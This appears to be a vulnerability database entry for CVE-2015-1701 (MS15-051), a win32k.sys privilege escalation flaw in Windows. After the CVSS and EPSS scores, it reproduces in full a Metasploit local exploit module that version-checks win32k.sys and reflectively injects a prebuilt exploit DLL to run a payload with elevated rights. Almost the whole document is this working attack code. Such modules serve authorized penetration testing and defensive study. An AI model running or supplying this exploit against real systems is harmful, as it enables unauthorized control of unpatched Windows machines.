7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.005 Low
EPSS
Percentile
76.8%
This module exploits improper object handling in the win32k.sys kernel mode driver. This module has been tested on vulnerable builds of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Windows ClientCopyImage Win32k Exploit',
'Description' => %q{
This module exploits improper object handling in the win32k.sys kernel mode driver.
This module has been tested on vulnerable builds of Windows 7 x64 and x86, and
Windows 2008 R2 SP1 x64.
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # vulnerability discovery and exploit in the wild
'hfirefox', # Code released on github
'OJ Reeves', # msf module
'Spencer McIntyre' # msf module
],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2015-1701'],
['MSB', 'MS15-051'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'],
['URL', 'https://github.com/hfiref0x/CVE-2015-1701'],
['URL', 'https://technet.microsoft.com/library/security/MS15-051']
],
'DisclosureDate' => '2015-05-12',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ]
}
}
)
)
end
def check
# Windows XP SP3 (32-bit) 5.1.2600.6514 (Works)
# Windows Server 2003 Standard SP2 (32-bit) 5.2.3790.5445 (Works)
# Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work)
# Windows 7 SP1 (64-bit) 6.1.7601.17514 (Works)
# Windows 7 SP1 (64-bit) 6.1.7601.17535 (Works)
# Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works)
# Windows 7 SP1 (32-bit) 6.1.7601.18388 (Works)
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works)
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.18105 (Works)
unless session.platform == 'windows'
return Exploit::CheckCode::Unknown
end
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
return Exploit::CheckCode::Safe if build > 7601
return Exploit::CheckCode::Appears
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
check_result = check
if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo['Architecture'] == ARCH_X64
if session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
end
if target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
end
elsif target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
print_status('Reflectively injecting the exploit DLL and executing it...')
if target.arch.first == ARCH_X86
dll_file_name = 'cve-2015-1701.x86.dll'
else
dll_file_name = 'cve-2015-1701.x64.dll'
end
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1701', dll_file_name),
encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end